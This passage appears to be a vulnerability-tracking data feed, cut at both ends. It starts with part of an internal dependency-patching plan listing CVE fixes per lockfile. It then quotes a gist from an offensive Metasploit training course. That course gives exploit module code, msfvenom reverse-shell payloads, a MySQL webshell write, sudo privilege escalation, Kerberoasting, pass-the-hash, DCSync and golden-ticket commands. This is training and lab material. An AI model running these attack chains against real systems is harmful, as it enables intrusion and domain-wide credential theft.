\u2014 only these need updating):\n\n| File | Current |\n|---|---|\n| `tools/build/requirements_compiled_py311.txt` | `0.14.0` |\n| `tools/build/requirements_compiled_py311_windows.txt` | `0.14.0` |\n| `tools/build/requirements_compiled_py312.txt` | `0.14.0` |\n| `tools/build/requirements_compiled_py312_windows.txt` | `0.14.0` |\n| `tools/build/requirements_compiled_tools.txt` | `0.14.0` |\n| `dev/containers/ci/requirements_compiled_buildkite.txt` | `0.14.0` |\n| `dev/containers/dev/requirements_compiled_devdocker.txt` | `0.14.0` |\n\nNo API changes. Fastest fix in the entire list.\n\n---\n\n#### `cryptography` \u2192 `44.0.1+`\n\nCVE-2024-26130 / CVE-2024-12797. Used in TLS cert handling, JWT signing, image signing. Most affected path: the cluster cert pipeline (`tools/scripts/minikube/setup/tls.py`, `tools/scripts/sign_images.py`).\n\nThe `buildkite` (`44.0.3`) and `devdocker` (`46.0.5`) containers are already fixed. The following still need updating:\n\n| File | Current |\n|---|---|\n| `tools/build/requirements_compiled_py38.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_py39.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_py310.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_py311.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_py312.txt` | `43.0.3` |\n| `tools/build/requirements_compiled_tools.txt` | `43.0.3` |\n| `dev/containers/genai-dev/requirements_compiled_genai-dev.txt` | `43.0.3` |\n| `adp/services/scenario_post_processor/requirements_compiled_py311.txt` | `43.0.3` |\n| `adp/services/axion_rl/genesis/requirements_compiled_py311.txt` | `43.0.3` |\n| All Windows variants (py38\u2013py312) | `43.0.3` |\n\nNote: `cryptography` has a Rust extension \u2014 make sure the build environment has Cargo. CI containers already do.\n\nNo breaking changes in the 43 \u2192 44 bump for the usages in this codebase.\n\n---\n\n#### `gitpython` \u2192 `3.1.44+`\n\nCVE-2024-22190 (shell injection via malformed git URLs). Used in CI tooling and workbench release scripts \u2014 not in any running cluster service. This is a pure patch release with no API changes, and importantly it **does support py38**, so all lockfiles get the fix (no py38 exception here).\n\nAll 10 lockfiles need updating: `py38`, `py39`, `py310`, `py311`, `py312` (Linux + Windows).\n\n---\n\n#### `aiohttp` \u2192 `3.13.3+` (py39\u2013py312 only)\n\nUsed in `lilypad/images/ray_history_server/`, `tools/gen_ai/crashbot/`, `tools/log_flume/`, and as a transitive dependency via `aioboto3` in the data access layer.\n\n**py38 lockfiles (`requirements_compiled_py38.txt`, `requirements_compiled_py38_windows.txt`) are intentionally skipped** \u2014 `aiohttp >= 3.13.3` requires Python 3.9+, so these files cannot receive the fix without a Python toolchain upgrade.\n\nLockfiles to regenerate: `py39`, `py310`, `py311`, `py312` (Linux + Windows, 8 files) + `dev/containers/genai-dev/requirements_compiled_genai-dev.txt`.\n\n---\n\n#### `pillow` \u2192 `11.0.0+` (py39\u2013py312 only)\n\nUsed in `gen_ai/` Triton inference pipelines, `synthetic_datasets/`, `tools/vehiclesim/`. The `axion_rl/genesis` lockfile is already at `12.1.1` and the `helix hdp_3_11` lockfile is at `11.3.0` \u2014 those are fine.\n\n**py38 lockfiles are intentionally skipped** \u2014 Pillow 11.x dropped Python 3.8 support.\n\nLockfiles to regenerate: `py39`\u2013`py312` (Linux + Windows), `tools` lockfile, `genai-dev`, `helix hdp_3_9`.\n\n---\n\n#### `lxml` \u2192 `6.1+` (py39\u2013py312 only)\n\nUsed in OpenDrive and VTD XML map parsers (`simian/modules/map/opendrive/`, `simian/modules/vtd/vtd_parser.py`), OpenScenario exporter, and map conversion pipeline.\n\n**py38 lockfiles are intentionally skipped** \u2014 lxml 6.x dropped Python 3.8 support.\n\n\u26a0\ufe0f lxml 5.x \u2192 6.x is a major version bump. The XML parser has stricter defaults in 6.0. The OpenDrive and OSC parsers use `lxml.etree` directly \u2014 do a quick test pass to make sure scenario XML and map XML still parse correctly before merging.\n\nLockfiles to regenerate: `py39`\u2013`py312` (Linux + Windows), `tools` lockfile, `helix hdp_3_9` (helix team owns this one), `helix hdp_3_11` (currently at `6.0.2`, still needs bump to `6.1+`).\n\n---\n\n## Cloud Infra (Antonia Adler)\n\n### `azure-core` \u2192 `1.38.0+`\n\nUsed in `adp/lib/secrets/azure_key_vault.py`, `adp/lib/postgres/auth/azure_get_managed_identity_token.py`, and the Azure Blob Storage access layer (`adp/lib/file_access_layer/py/az/`). Particularly relevant for the MB cluster since it uses Azure Managed Identity for Postgres auth.\n\nWhen bumping `azure-core`, check `azure-identity` and `azure-storage-blob` versions in the same lockfiles for compatibility \u2014 they may need to be bumped in tandem.\n\n| File | Current |\n|---|---|\n| `tools/build/requirements_compiled_py39.txt` | `1.28.0` |\n| `tools/build/requirements_compiled_py310.txt` | `1.28.0` |\n| `tools/build/requirements_compiled_py311.txt` | `1.28.0` |\n| `tools/build/requirements_compiled_py312.txt` | `1.36.0` |\n| All Windows variants (py39\u2013py312) | `1.28.0` / `1.36.0` |\n| `dev/containers/ci/requirements_compiled_buildkite.txt` | `1.36.0` |\n| `dev/containers/genai-dev/requirements_compiled_genai-dev.txt` | `1.32.0` |\n\nPure Python library, no compiled extensions. Should be straightforward.\n\n---\n\n### `h11` in infra containers\n\nThe two infra-owned containers also need `h11` updated (listed in the Dev Frameworks section above but owned here):\n- `dev/containers/ci/requirements_compiled_buildkite.txt`\n- `dev/containers/dev/requirements_compiled_devdocker.txt`\n\n---\n\n### `cryptography` in infra-owned lockfiles\n\n- `tools/on_prem/cluster_creation/requirements_compiled_on_prem.txt` \u2014 `43.0.3` \u2192 `44.0.1+`\n- `spectral/dev/containers/dev/requirements_compiled_spectral_devdocker.txt` \u2014 `43.0.3` \u2192 `44.0.1+` (coordinate with Spectral team if they own this container)\n\n---\n\n### Longer-term flag: `docker/docker` (`v25.0.12` \u2192 `v27.x`)\n\n`github.com/docker/docker` is at `v25.0.12+incompatible` in the main `go.mod`. The CVE fix requires `v27.x`, which is a **major API migration** \u2014 not feasible for June 15. Services using the Docker API directly: `sim_orchestrator/worker/executor/`, `sensor_sim_pool/`, `sensor_sim_downloader/`, `scenario_preview/`, `edge_recorder/`. Worth scheduling as a follow-on sprint item.\n\n---\n\n## Sim Execution (Henry Chen / Sahil Goyal / Conor Martin)\n\n### `pgx/v5` \u2192 `v5.7.4+` in `internal_apps/apps/apx/go.mod` \u2014 CRITICAL\n\n`pgx/v5` (the PostgreSQL driver) has a CRITICAL CVE. The main `go.mod` is at `v5.7.2` which is already above the known vulnerable threshold, but `internal_apps/apps/apx/go.mod` is at `v5.6.0` and needs to be bumped.\n\nThe fix is narrow \u2014 just the `apx` go.mod:\n```\n# internal_apps/apps/apx/go.mod\ngithub.com/jackc/pgx/v5 v5.6.0  \u2192  v5.7.4 (or latest v5.7.x)\n```\n\nRun `go mod tidy` in `internal_apps/apps/apx/` after the bump. No API changes within the v5.7.x series.\n\nNote: If `govulncheck` reveals a separate newer advisory affecting the main `go.mod`'s `v5.7.2`, the scope expands \u2014 that would require bumping the root `go.mod` and recompiling all ~110 Postgres-backed services. That's worth confirming before starting (see the \"next steps\" section at the bottom).\n\n---\n\n### `simpleeval` \u2192 `1.0.5+` (via `casbin` in access control)\n\n`simpleeval` is a dependency of `casbin`, which is the policy-based access control library used in `simian/modules/access_control/`. It only appears in py311 and py39 lockfiles (casbin isn't pulled in from other Python version targets).\n\n| File | Current |\n|---|---|\n| `tools/build/requirements_compiled_py311.txt` | `1.0.3` |\n| `tools/build/requirements_compiled_py311_windows.txt` | `1.0.3` |\n| `tools/build/requirements_compiled_py39.txt` | `0.9.12` |\n| `tools/build/requirements_compiled_py39_windows.txt` | `0.9.12` |\n\nExploitability context: the `simpleeval` CVE is an expression injection / code execution issue. In practice, casbin policy rules in this codebase are stored in Postgres and written by engineers \u2014 they're not dynamically constructed from user HTTP input. So the real-world risk is low, but patching removes it from the SCC report. Pure Python, tiny library, no API changes.\n\n---\n\n### `protobuf` in `scenario_post_processor` \u2014 timeline TBD\n\n`adp/services/scenario_post_processor/requirements_compiled_py311.txt` pins `protobuf==3.20.3`, which is very old (the current line is `4.x`/`5.x`). Multiple CVEs are fixed in the `4.x` series. This is a **major version bump** with meaningful API changes \u2014 the protobuf Python API changed significantly between `3.x` and `4.x`. It needs a proper assessment of what scenario_post_processor calls in the protobuf API before committing to a version. Let us know what's realistic timeline-wise and we can scope it separately if it can't land by June 15.\n\n---\n\n## Recommended next steps (not June 15 scope)\n\nOnce the above PRs are merged, two follow-ons will surface and close the remaining CVEs:\n\n1. **`govulncheck -json ./...`** \u2014 run from the repo root in dev docker. This will give exact GHSA IDs for the remaining 6 Go module CVEs (suspected: `golang.org/x/net`, `IBM/sarama`, and potentially a newer `pgx/v5` advisory). Several of the \"remaining 6\" may already be resolved by the Go toolchain bump.\n\n2. **`pip-audit --requirement tools/build/requirements_compiled_py311.txt --format json`** \u2014 this will surface the remaining ~18 Python CVEs not named in the MB report. Likely candidates include `grpcio 1.63.2` (fix: `1.64.1+`, wide distribution across all lockfiles) and `numpy 1.24.4` in py310/py311 lockfiles (fix: `1.26.0+`).\n\n3. **Retire py38 from the build system** \u2014 this unblocks the three packages (`aiohttp`, `lxml`, `pillow`) that couldn't be fully fixed above. Likely a 1-sprint Dev Frameworks project.\n\n---\n\n*Analysis sourced from `applied3` codebase inspection of `go.mod`, `WORKSPACE`, and all `requirements_compiled_*.txt` lockfiles. Go runtime at `1.25.5`, cluster version 1.71.*\n", "creation_timestamp": "2026-06-09T19:20:47.000000Z"}, {"uuid": "c922e715-a596-4be3-b078-b1e698f512f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-09)", "content": "", "creation_timestamp": "2026-06-09T00:00:00.000000Z"}, {"uuid": "52e24555-c662-4fdb-b3a6-d2d51bb357f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-09)", "content": "", "creation_timestamp": "2026-06-09T00:00:00.000000Z"}, {"uuid": "dc3a69af-d387-452e-aa7d-aa7d223771fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-10)", "content": "", "creation_timestamp": "2026-06-10T00:00:00.000000Z"}, {"uuid": "68675f46-3814-415a-b97b-6a22ea6a4350", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-11)", "content": "", "creation_timestamp": "2026-06-11T00:00:00.000000Z"}, {"uuid": "e0bd80c6-41eb-4b9a-b12b-357d9ad61c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-11)", "content": "", "creation_timestamp": "2026-06-11T00:00:00.000000Z"}, {"uuid": "28085888-f04d-4bc9-91b9-e4bb3a90e4ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12905", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mo3sbe73cs2x", "content": "\ud83d\udd17 CVE : CVE-2023-24531, CVE-2024-12905, CVE-2025-22870, CVE-2025-47907", "creation_timestamp": "2026-06-12T13:00:12.783586Z"}, {"uuid": "5462b31f-dfe0-4b68-a0b9-cd553f88012f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-12)", "content": "", "creation_timestamp": "2026-06-12T00:00:00.000000Z"}, {"uuid": "a264d72b-0bc2-4dc5-b3df-151451e88804", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/riskiidice/d7687b881b245df5bc96147fc1e6b01c", "content": "# Module 6: Real-World Exploitation & CTF Scenarios\n\n---\n\n## Lesson 26: Exploit Development with MSF (CVE-Focused)\n\n### Learning Objectives\n- Understand the MSF exploit module structure as a foundation for exploit development\n- Use `searchsploit` to find public exploits and convert them to MSF format\n- Analyze CVE details and map them to MSF modules\n- Write a basic MSF exploit module from scratch\n- Understand egghunters, SEH overwrites, and ROP chains\n\n---\n\n### Theory/Explanation\n\n#### Anatomy of an MSF Exploit Module\n\nEvery MSF exploit module is a Ruby class inheriting from an MSF exploit mixin:\n\n```ruby\n# modules/exploits/windows/smb/custom_cve.rb\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking  # or GreatRanking, ExcellentRanking, etc.\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Custom CVE-2024-XXXX SMB Exploit',\n      'Description'    => %q{\n        This module exploits CVE-XXXX-XXXX in the SMB protocol.\n        A remote code execution vulnerability exists due to\n        improper handling of specially crafted SMB packets.\n      },\n      'Author'         => ['Your Name '],\n      'License'         => MSF_LICENSE,\n      'References'     =>\n        [\n          ['CVE', '2024-XXXX'],\n          ['URL', 'https://example.com/advisory'],\n          ['EDB', '12345']\n        ],\n      'Platform'       => ['win'],\n      'Arch'           => [ARCH_X64],\n      'Targets'        =>\n        [\n          ['Windows Server 2019', {\n            'Payload' => 'windows/x64/meterpreter/reverse_tcp',\n            'RPORT' => 445\n          }]\n        ],\n      'DefaultTarget'  => 0,\n      'DisclosureDate' => '2024-01-15'\n    ))\n\n    register_options([\n      Opt::RHOST(),\n      Opt::RPORT(445),\n      OptString.new('NAME', [true, 'SMB share name', 'C$'])\n    ])\n  end\n\n  def exploit\n    print_status(\"Connecting to target...\")\n    connect\n    print_status(\"Sending malicious payload...\")\n    sock.put(payload.encoded)\n    handler\n  ensure\n    disconnect\n  end\nend\n```\n\n#### Exploit Ranking System\n\nMSF assigns ranks to modules based on reliability:\n\n| Rank | Meaning |\n|------|---------|\n| `ManualRanking` | Don't use automatically |\n| `LowRanking` | Unreliable, may crash |\n| `AverageRanking` | Normal, may crash sometimes |\n| `NormalRanking` | Standard exploit |\n| `GoodRanking` | Reliable, works consistently |\n| `GreatRanking` | Very reliable, has auto-targeting |\n| `ExcellentRanking` | Best, won't crash, auto-detects |\n\n#### Using searchsploit\n\n```bash\n# Search for exploits\nsearchsploit smb 8.1\nsearchsploit -t windows smb ms17\nsearchsploit CVE-2024-1234\n\n# Show full path\nsearchsploit -p 50644\n\n# Copy exploit to working directory\nsearchsploit -m 50644  # mirror (copy)\n\n# Update exploit database\nsearchsploit -u\n```\n\n#### Writing a Simple Buffer Overflow MSF Module\n\n```ruby\n# modules/exploits/windows/custom/bof.rb\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'            => 'Custom Buffer Overflow',\n      'Description'     => %q{\n        Stack-based buffer overflow in vulnerable service.\n        Sending 2000 bytes overwrites EIP.\n      },\n      'Author'          => ['Attacker'],\n      'References'      => [['EDB', '12345']],\n      'Platform'        => ['win'],\n      'Arch'            => [ARCH_X86],\n      'Targets'         =>\n        [\n          ['Windows XP SP3', {\n            'Payload' => 'windows/meterpreter/reverse_tcp',\n            'Offset' => 2000,\n            'Ret' => 0x41414141  # JMP ESP address\n          }]\n        ],\n      'DefaultTarget'   => 0,\n      'DisclosureDate'  => '2024-01-01'\n    ))\n\n    register_options([\n      Opt::RHOST(),\n      Opt::RPORT(9999)\n    ])\n  end\n\n  def exploit\n    connect\n\n    # Build overflow buffer\n    buffer = rand_text(target['Offset'])\n    buffer += [target['Ret']].pack('V')  # overwrite EIP with JMP ESP\n    buffer += make_nops(16)\n    buffer += payload.encoded\n\n    print_status(\"Sending #{buffer.length} byte buffer...\")\n    sock.put(buffer)\n\n    handler\n    disconnect\n  end\nend\n```\n\n#### Egghunter Shellcode\n\nWhen you have limited space for shellcode, use an egghunter \u2014 a small (~60 byte) stub that searches memory for your full payload (marked with a tag):\n\n```bash\n# Generate egghunter shellcode\nmsfvenom -p linux/x64/egghunter LHOST=10.0.0.5 LPORT=4444 -f c\n\n# Use in your exploit: first stage is egghunter (small)\n# Second stage is your full payload tagged with \"w00tw00t\"\nmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b '\\x00' -f c\n# Tag the payload: prepend \"w00tw00t\" to it\n```\n\n---\n\n### Exercise 26.1\n\n**Task**:\n\n1. Use `searchsploit` to find exploits related to `samba` and ` EternalBlue`\n2. Identify a specific EDB-ID exploit and mirror it to `/tmp/exploits/`\n3. Analyze the mirrored exploit to identify: target platform, required options, and payload type\n4. Create a minimal MSF module skeleton for a fictional CVE in `/tmp/exploits/custom_module.rb`\n5. Show how to load the custom module in msfconsole\n\n```bash\n# TODO: Execute all steps\n```\n\n\n\nSolution\n\n```bash\n# 1. Search for Samba exploits\nsearchsploit samba | head -20\n# Results:\n# EDB-ID    Title\n# 42030    Samba 3.5.0 - Lock Denial of Service\n# 33598    Samba 3.6.4 - Pool Memory Exhaustion\n# 42015    Samba 4.6.4 Remote Code Execution\n\nsearchsploit EternalBlue\n# EDB-ID: 42030 (depends on version)\n\n# 2. Mirror the exploit\nmkdir -p /tmp/exploits\nsearchsploit -m 42015\n# Copies: /usr/share/exploitdb/exploits/linux/remote/42015.rb -> /tmp/exploits/\n\n# 3. Analyze the exploit\nhead -100 /tmp/exploits/42015.rb\n# Shows:\n# - Target: Samba 4.6.4\n# - Platform: linux\n# - Arch: x86/x64\n# - Payload: 'linux/x86/meterpreter/reverse_tcp' or similar\n# - Required: RHOST, RPORT (445), SMB versions\n\n# 4. Create custom module skeleton\ncat > /tmp/exploits/custom_module.rb << 'EOF'\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Custom Application CVE-2024-0001 RCE',\n      'Description'    => %q{\n        This module exploits CVE-2024-0001 in CustomApp v1.0.\n        A remote code execution vulnerability exists due to\n        improper input validation in the authentication handler.\n      },\n      'Author'         => ['Attacker '],\n      'License'         => MSF_LICENSE,\n      'References'     =>\n        [\n          ['CVE', '2024-0001'],\n          ['URL', 'https://example.com/advisory']\n        ],\n      'Platform'       => ['linux'],\n      'Arch'           => [ARCH_X64],\n      'Targets'        =>\n        [\n          ['CustomApp 1.0', {\n            'Payload' => 'linux/x64/meterpreter/reverse_tcp',\n            'RPORT' => 8080\n          }]\n        ],\n      'DefaultTarget'  => 0,\n      'DisclosureDate' => '2024-01-15'\n    ))\n\n    register_options([\n      Opt::RHOST(),\n      Opt::RPORT(8080)\n    ])\n  end\n\n  def exploit\n    connect\n    print_status(\"Sending exploit...\")\n    sock.put(payload.encoded)\n    handler\n  ensure\n    disconnect\n  end\nend\nEOF\n\n# 5. Load custom module in msfconsole\n# Option A: Copy to MSF module directory\ncp /tmp/exploits/custom_module.rb /usr/share/metasploit-framework/modules/exploits/custom/\nmsfconsole -q\nmsf6 > use exploit/custom/custom_module\n\n# Option B: Use loadpath\nmsfconsole -q\nmsf6 > loadpath /tmp/exploits\nmsf6 > use exploit/custom/custom_module\n```\n\n\n\n---\n\n## Lesson 27: CTF Walkthrough \u2014 Boot2Root with MSF\n\n### Learning Objectives\n- Apply MSF systematically in a CTF boot2root challenge\n- Combine port scanning, vulnerability identification, and exploitation\n- Use Meterpreter for privilege escalation\n- Capture the flags (flag.txt) at each stage\n- Document methodology for writeups\n\n---\n\n### Theory/Explanation\n\n#### CTF Methodology with MSF\n\n```\nPhase 1: Reconnaissance\n  - db_nmap -sV -sC -oA scan\n  - Import into MSF database\n  - Analyze services\n\nPhase 2: Vulnerability Discovery\n  - searchsploit on discovered services\n  - Use MSF auxiliary scanners\n  - Manual inspection\n\nPhase 3: Exploitation\n  - Select and configure MSF exploit\n  - Generate appropriate payload\n  - Establish session\n\nPhase 4: Post-Exploitation\n  - Enumerate filesystem\n  - Find user.txt (user flag)\n  - Enumerate for privilege escalation vector\n\nPhase 5: Privilege Escalation\n  - Exploit kernel/system misconfiguration\n  - Get root.txt (root flag)\n```\n\n#### Example CTF Scenario: \"VulnNet\"\n\n```bash\n# Phase 1: Network scan\nmsfconsole -q\nmsf6 > db_nmap -sV -sC -p- 192.168.56.100 -oA /tmp/vulnnet_scan\n\n# Import results\nmsf6 > hosts\nHost                    OS  Purpose\n192.168.56.100          Linux  Web server, SSH\n\nmsf6 > services\nPORT     STATE  SERVICE  VERSION\n22       open   ssh      OpenSSH 7.4\n80       open   http     Apache 2.4.6\n3306     open   mysql    MySQL 5.5.60\n\n# Phase 2: Web enumeration\nmsf6 > use auxiliary/scanner/http/dir_scanner\nmsf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.56.100\nmsf6 auxiliary(scanner/http/dir_scanner) > run\n# Found: /admin (redirects to login)\n# Found: /phpmyadmin (database admin)\n\n# Phase 3: Exploitation\n# Try default MySQL credentials\nmsf6 > use auxiliary/scanner/mysql/mysql_login\nmsf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.56.100\nmsf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root\nmsf6 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt\nmsf6 auxiliary(scanner/mysql/mysql_login) > run\n# Result: root:root123\n\n# Phase 4: Get user flag via web shell\n# Since we have MySQL access, try into/outfile to write web shell\nmsf6 > use auxiliary/admin/mysql/mysql_sql\nmsf6 auxiliary(admin/mysql/mysql_sql) > set RHOSTS 192.168.56.100\nmsf6 auxiliary(admin/mysql/mysql_sql) > set SQL \"SELECT '' INTO OUTFILE '/var/www/html/shell.php'\"\nmsf6 auxiliary(admin/mysql/mysql_sql) > run\n\n# Now access web shell\ncurl http://192.168.56.100/shell.php?cmd=whoami\n# www-data\n\n# Get meterpreter by generating a PHP payload\nmsfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f raw > /tmp/shell.php\n# Upload via the web shell and access it\n\n# Phase 5: Privilege escalation\nmeterpreter > shell\n$ python3 -c 'import os; os.system(\"/bin/bash\")'\n$ cd /home\n$ ls\nvictim\n$ cat /home/victim/user.txt\nFLAG{user_flag_here}\n\n# Find privilege escalation vector\n$ sudo -l\nUser www-data may run the following commands:\n    (ALL) NOPASSWD: /usr/bin/python3\n\n$ sudo python3 -c 'import os; os.system(\"/bin/bash\")'\n# root shell\n# cat /root/root.txt\nFLAG{root_flag_here}\n```\n\n---\n\n### Exercise 27.1\n\n**Task**: Walk through a complete CTF scenario (use your own lab VM or practice box):\n\n1. Run a comprehensive nmap scan via MSF db_nmap\n2. Import the scan results and list all hosts/services\n3. Use `searchsploit` on discovered services\n4. Exploit a vulnerability to get a shell\n5. Get the user flag\n6. Enumerate for privilege escalation\n7. Escalate to root and get the root flag\n8. Export the session log for a writeup\n\n```bash\n# TODO: Execute all steps on your practice VM\n```\n\n\n\nSolution\n\n```bash\n# Setup: Assuming target IP is 192.168.56.101\n# (This exercise is meant to be done on your own lab VM)\n\n# 1. Comprehensive scan\nmsfconsole -q\nmsf6 > db_nmap -sV -sC -A -p- -oA /tmp/ctf_scan 192.168.56.101\n\n# 2. Import and list\nmsf6 > hosts\nmsf6 > services\n# Results show:\n# PORT     STATE  SERVICE  VERSION\n# 21       open   ftp      vsFTPd 3.0.3\n# 22       open   ssh      OpenSSH 7.4 (protocol 2.0)\n# 80       open   http     Apache 2.4.6 (PHP 7.0.33)\n# 3306     open   mysql    MariaDB 5.5.60\n\n# 3. Searchsploit\nsearchsploit vsftpd 3.0.3\n# EDB: 49759 - vsftpd 3.0.3 - Denial of Service (doesn't give shell)\n\nsearchsploit OpenSSH 7.4\n# No critical RCE for 7.4\n\nsearchsploit Apache 2.4.6\n# Find: Apache 2.4.6 - PHP 7.0.33 has exploit (CVE-2018-xxxx for example)\n\n# 4. Exploit\nmsf6 > use exploit/unix/webapp/phpmyadmin_lfi_rce\n# (Use whatever exploit matches your target)\n\n# 5. Get user flag\nmeterpreter > shell\n$ find / -name \"user.txt\" 2>/dev/null\n/home/ubuntu/user.txt\n$ cat /home/ubuntu/user.txt\nFLAG{ctf_user_flag_abc123}\n\n# 6. Enumerate for privesc\n$ sudo -l\n(ubuntu) NOPASSWD: /bin/bash\n\n# Actually check for privesc via enumeration script\nmeterpreter > upload /tmp/linpeas.sh /tmp/linpeas.sh\nmeterpreter > shell\n$ chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh\n\n# 7. Escalate\n$ sudo /bin/bash\n# root shell\n$ cat /root/root.txt\nFLAG{ctf_root_flag_xyz789}\n\n# 8. Export session log\nmsf6 > makerc /tmp/ctf_session.rc\n# Now you have a script to replay the entire session\n```\n\n\n\n---\n\n## Lesson 28: Active Directory Attack Chain\n\n### Learning Objectives\n- Build a complete AD attack chain using MSF modules\n- Perform recon: enum users, groups, trusts, shares\n- Exploit Printer Bug for privilege escalation\n- Use SMB relay attacks\n- Understand the relationship between AD attacks and MSF\n\n---\n\n### Theory/Explanation\n\n#### AD Attack Chain Overview\n\n```\nInitial Access \u2192 Recon \u2192 Privilege Escalation \u2192 Persistence \u2192 Lateral Movement \u2192 Domain Dominance\n    |              |              |                    |              |               |\n Phishing      BloodHound    Kerberoast             Golden       WMI              DCSync\n                enum         ~SPN accounts          Ticket       PsExec           krbtgt\n              LDAP enum                          Registry     WinRM             Domain\n                                                 persistence  SMB relay         controllers\n```\n\n#### Phase 1: Initial Recon\n\n```bash\n# Use MSF's LDAP module for AD enumeration\nmsf6 > use auxiliary/admin/ldap/query\nset RHOSTS DC01.corp.local\nset BASE_DN \"DC=corp,DC=local\"\nset USERNAME CORP\\\\lowprivuser\nset PASSWORD Password123\nset FILTER \"(objectClass=user)\"\nrun\n\n# Use PowerView from meterpreter (if you have a session on domain-joined host)\nmeterpreter > load powershell\nmeterpreter > powershell_import /usr/share/powersploit/Recon/PowerView.ps1\nmeterpreter > powershell_execute \"Get-NetDomain\"\nmeterpreter > powershell_execute \"Get-NetDomainControllers\"\nmeterpreter > powershell_execute \"Get-NetUser | Select-Object -First 30\"\n```\n\n#### Phase 2: Kerberoasting\n\n```bash\n# Find users with SPN (service accounts)\nmeterpreter > powershell_execute \"Get-NetUser -SPN | Select-Object samaccountname,serviceprincipalname\"\n\n# Request TGS for each SPN\n# Use from meterpreter:\nmeterpreter > run post/windows/gather/credentials/kerberos_tickets\n\n# Or use from msfconsole:\nmsf6 > use auxiliary/admin/kerberos/kerberos_ticket_export\nset SESSION 1\nrun\n\n# Crack the TGS offline\nhashcat -m 13100 -a 0 tickets.kirbi /usr/share/wordlists/rockyou.txt\n```\n\n#### Phase 3: SMB Relay Attack\n\n```bash\n# Start SMB relay module\nmsf6 > use auxiliary/server/capture/smb\nset SRVHOST 10.0.0.5\nset SRVPORT 445\nrun -j\n\n# Or use Responder (external tool) to poison LLMNR/NBT-NS\n# This forces targets to authenticate to your relay\n```\n\n#### Phase 4: Pass-the-Hash (from LDAP)\n\n```bash\n# With domain admin hash:\nmsf6 > use exploit/windows/smb/psexec\nset RHOSTS 192.168.1.10\nset SMBUser Administrator\nset SMBPass \nset PAYLOAD windows/x64/meterpreter/reverse_tcp\nset LHOST 10.0.0.5\nexploit\n\n# Lateral movement via WMI\nmsf6 > use exploit/windows/smb/wmiexec\nset RHOSTS 192.168.1.20\nset SMBUser Administrator\nset SMBPass \nexploit\n```\n\n#### Phase 5: Domain Dominance with DCSync\n\n```bash\n# Once you have Domain Admin access:\nmeterpreter > load kiwi\nmeterpreter > dcsync_ntlm CORP.LOCAL\\\\krbtgt\n\n# Create golden ticket\nmeterpreter > golden_ticket_create -d CORP.LOCAL -k  -s  -u Administrator\n\n# Now you have full domain persistence\n```\n\n---\n\n### Exercise 28.1\n\n**Task**: Build an AD attack chain on a practice domain (simulated):\n\n1. Enumerate domain users via LDAP module\n2. Find SPN accounts (Kerberoastable targets)\n3. Extract password hashes via hashdump\n4. Use Pass-the-Hash to lateral move to another host\n5. Get Domain Admin via DCSync\n6. Create a golden ticket\n\n```bash\n# TODO: Execute all steps\n```\n\n\n\nSolution\n\n```bash\n# 1. LDAP enumeration\nmsf6 > use auxiliary/admin/ldap/query\nmsf6 auxiliary(admin/ldap/query) > set RHOSTS DC01.corp.local\nmsf6 auxiliary(admin/ldap/query) > set BASE_DN \"DC=corp,DC=local\"\nmsf6 auxiliary(admin/ldap/query) > set USERNAME CORP\\\\pentester\nmsf6 auxiliary(admin/ldap/query) > set PASSWORD P@ssw0rd123\nmsf6 auxiliary(admin/ldap/query) > set FILTER \"(objectClass=user)\"\nmsf6 auxiliary(admin/ldap/query) > run\n\n# Output: Lists all domain users with their SPNs\n\n# 2. Find SPN accounts\n# From meterpreter on domain-joined host:\nmeterpreter > powershell_execute \"Get-NetUser -SPN | 